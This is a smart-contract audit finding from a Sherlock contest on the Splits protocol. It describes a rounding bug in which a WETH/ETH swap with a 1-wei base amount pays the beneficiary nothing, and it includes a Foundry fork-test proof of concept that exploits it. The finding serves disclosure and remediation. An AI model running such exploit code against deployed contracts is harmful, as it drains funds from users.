sherlock-audit / 2023-04-splits-judging

4 stars 1 forks source link

theOwl - Price Manipulation through inputting small values for the same pair logic #117

Closed sherlock-admin closed 1 year ago

sherlock-admin commented 1 year ago

theOwl

medium

Price Manipulation through inputting small values for the same pair logic

Summary

An user could use the Diversifyer template to make a swapper that is exchange weth to eth or vice-verse, this case have been acknowledge by the developer team by checking for the same address, the baseAmount variable could have a very small value that will make a round down possible and allow users to get free funds.

Vulnerability Detail

_getQuoteAmount is responsible inside the Oracle Implementation logic to fetch the price for a pair using the Uniswap V3 TVWAP oracle, in this logic the developers have also treated the case when the swapper is asking for the feed if the base and quote token are the same, this case would be when the beneficiary is looking to exchange weth for eth or vice versa ( this happens because ETH is treated as address(0) inside the contract logic and if the converted tokens are equal then the oracle is not fetching for any price, because it will fail, and it will directly calculate the output using the formula quoteParams_.baseAmount * po.scaledOfferFactor / PERCENTAGE_SCALE; ). If the baseAmount will be 1then the output can be 0 ( 1* 99_00_00/ 100_00_00 ) because of the round down in solidity. Then the swapper will send 1 wei of WETH to the attacker and 0 ETH to the beneficiary, the attack could be run in a loop to maximise profits as the only attack cost is the gas for the transaction.

Impact

Let's take the following example :

  1. Alice received from slipper in her 1:1 swapper WETH that wants to covert to ETH.
  2. Alice have settled a discount of 0,1% as the tokens are fairly expensive and it is a free trade risk for the trader.
  3. The trader calls the flash function with the base amount of 1 .
  4. Trader will receive 1 wei WETH, beneficiary will receive 0 ETH ( no balance deducted from trader ) and swapper will have 1 ether - 1 WETH. The attack could be run in a loop to maximise profit as the amount returned by the oracle will also be round down to 0.

POC:

    function test_audit_fork_weth_eth_pair() public {
        string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
        vm.createSelectFork(MAINNET_RPC_URL, BLOCK_NUMBER);

        trader = address(new Trader());

        oracleFactory = new UniV3OracleFactory({
            uniswapV3Factory_: IUniswapV3Factory(UNISWAP_V3_FACTORY),
            weth9_: WETH9
        });
        //default fee 0,05%
        initOracleParams.defaultFee = 5_00;
        initOracleParams.defaultPeriod = 30 minutes;
        initOracleParams.defaultScaledOfferFactor = 99_00_00;
        initOracleParams.owner = address(this);
        UniV3OracleImpl oracleUniV3Impl = oracleFactory.createUniV3Oracle(initOracleParams);

        //create the quote pair
        QuotePair memory wethETH = QuotePair({base: WETH9, quote: ETH_ADDRESS});
        qParams.push(OracleImpl.QuoteParams({
                quotePair: wethETH,
                baseAmount: 1,  
                data: ""
        }));

        pairOverrides.push(
            UniV3OracleImpl.SetPairOverrideParams({
                quotePair: wethETH,
                pairOverride: UniV3OracleImpl.PairOverride({
                    fee: 0, // no override
                    period: 0, // no override
                    scaledOfferFactor: 99_90_00
                })
            })
        );

        oracleUniV3Impl.setPairOverrides(pairOverrides);  

        uint256[] memory amounts = oracleUniV3Impl.getQuoteAmounts(qParams);
        for(uint i; i< amounts.length; i++){
            console.log("Amount: ", amounts[i]);
        }
        oracleParams.oracle = OracleImpl(address(oracleUniV3Impl));
        //the swapper with the oracle
        swapperFactory = new SwapperFactory();
        createSwapperParams = SwapperFactory.CreateSwapperParams({
            owner: users.alice,
            paused: false,
            beneficiary: beneficiary,
            tokenToBeneficiary: ETH_ADDRESS,
            oracleParams: oracleParams
        });

        swapper = swapperFactory.createSwapper(createSwapperParams);

        vm.deal(trader, 1 ether);
        deal(WETH9, address(swapper), 1 ether);

        vm.startPrank(trader);
        swapper.flash(qParams, "");
        vm.stopPrank();

        uint traderWETHBalance = IERC20(WETH9).balanceOf(trader);
        uint beneficiaryETHBalance = address(beneficiary).balance;
        uint swapperWETHBalance = IERC20(WETH9).balanceOf(address(swapper));

        assertEq(traderWETHBalance, 1);
        assertEq(beneficiaryETHBalance, 0);
        assertEq(swapperWETHBalance, 1 ether - 1);

    }

Code Snippet

https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-oracle/src/UniV3OracleImpl.sol#L248 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-oracle/src/UniV3OracleImpl.sol#L249 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-oracle/src/UniV3OracleImpl.sol#L258-L260 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-swapper/src/SwapperImpl.sol#L203 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-swapper/src/SwapperImpl.sol#L227 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-swapper/src/SwapperImpl.sol#L231 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-swapper/src/SwapperImpl.sol#L249 https://github.com/sherlock-audit/2023-04-splits/blob/7303cc26205f10ca9111be31f3574d2573df92b1/splits-swapper/src/SwapperImpl.sol#L257

Tool used

Manual Review

Recommendation

  1. Add a check inside the function _getQuoteAmount at L#258 that if the result of the equation from L#259 will be 0 or if baseAmount < 9 ( baseAmount needs to be >= 10 to not have a round down ) it will revert

Duplicate of #104